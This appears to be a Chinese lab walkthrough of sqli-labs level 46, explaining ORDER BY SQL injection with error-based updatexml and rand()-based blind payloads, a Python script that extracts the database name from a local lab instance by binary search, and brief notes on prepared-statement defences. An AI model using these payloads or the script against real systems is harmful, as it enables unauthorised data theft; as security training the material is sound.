sql-labs第46关(order by盲注脚本)

一、环境

网上有自己找

二、解释

order by 注入我们看他的true和false来进行注入出来

二、实操

让我们用sort

看看源码

最终我们的id是放到order by后面了

如果我们直接用列去排序

复制代码
?sort=username/password

username:

password:

可以看到顺序是不同的,当然第一列第二列第三列也可以,基本上都是这个原理,那怎么去实现注入呢,我们主要是通过rand()去实现一个盲注或者报错注入(如果打印报错)

报错注入;真的走第一个错的走第二个我们想走第二个,这样就可以实现

复制代码
?sort=updatexml(1,if(1=2,1,concat(0x7e,database(),0x7e)),1)

那如果是盲注的话,写true和false排序是不同的,所有我们可不可以用rand去进行排序

复制代码
?sort=rand(ascii(mid((select%20database()),1,1))>114)

很明显ok的,转为ascii码来比较真假,为真为假是两种表现方式如下,假如说上面的报错被屏蔽了,我们就没办法了,那我们通过rand也可以,那为真为假是我们爬取的一个重要标识

我们通过找第一个字段,来爬取判断,为真的话是admin3,因为布尔true=3

python脚本

复制代码
# -*- coding:utf-8 -*-
"""
@Author: lingchenwudiandexing
@contact: 3131579667@qq.com
@Time: 2024/2/25 16:31
@version: 1.0
"""
import requests
import time
from bs4 import BeautifulSoup


"""
查表名
查列名
查具体字段内容
if(ascii(substr(database(),1,1))>100,%20sleep(3),%200)--+
if(ascii(substr(database(),1,1))>110, sleep(3), 0)
"""
def inject_database(url):
    name = ''
    for i in range(1, 100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "rand(ascii(mid((select database()),%d,1)) > %d)" % (i, mid)
            res = {"sort": payload}
            r = requests.post(url, params=res)
            html = r.text
            soup = BeautifulSoup(html,'html.parser')
            getUsername = soup.find_all('td')[1].text
            if getUsername == 'admin3':
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)

if __name__ == "__main__":
    url = 'http://127.0.0.1/sqli/Less-46/index.php'
    inject_database(url)

正确后我们通过查表查库查字段出结果:

三、如何防御

防御机制:

PDO预编译:

模拟编译:

PHP的底层把单引号自动转译,但是遇见宽字节会失效,但是遇见真实的预编译这里就不会失效,

真实编译:

如果在预编译的形势下,还是用拼接传递参数,那么预编译不会生效,order by后面本身会存在注入点,但是预编译情况下,没有办法在order by后面实现预编译,如果想功能正常,还是得用拼接的方法去使用,这种情况下也有可能实现sql注入

相关推荐
li357417 分钟前
深入理解:MQ监听类 vs Spring事件监听类 —— 区别、用法与适用场景全解析
java·数据库·spring
安然~~~43 分钟前
mysql的索引
数据库·mysql
GBASE1 小时前
GBASE南大通用技术分享:GBase 8s数据库典型安装(命令行方式)
数据库
康惠桀1 小时前
Oracle UNDO表空间监控指南
数据库·oracle
SeaTunnel1 小时前
实测有效|用 SeaTunnel 免费实现 MySQL→Oracle 实时同步,步骤超细
数据库·mysql·oracle·开源·seatunnel·数据同步·连接器
Mr.朱鹏1 小时前
ShardingJDBC实战指南
java·jvm·数据库·spring·分库分表·shardingjdbc·shardingshere
咔咔一顿操作1 小时前
MySQL 事务管理与锁机制:解决并发场景下的数据一致性问题
java·数据库·mysql
麦兜*2 小时前
MongoDB 备份与恢复终极指南:mongodump 和 mongorestore 深度实战
java·数据库·spring boot·mongodb·spring
xhbh6663 小时前
MySQL数据导出避坑指南:如何选择正确的工具并设计安全的备份策略?
数据库·mysql·oracle·程序员·mysql导出数据库
幻奏岚音3 小时前
《数据库系统概论》第一章 初识数据库
数据库·算法·oracle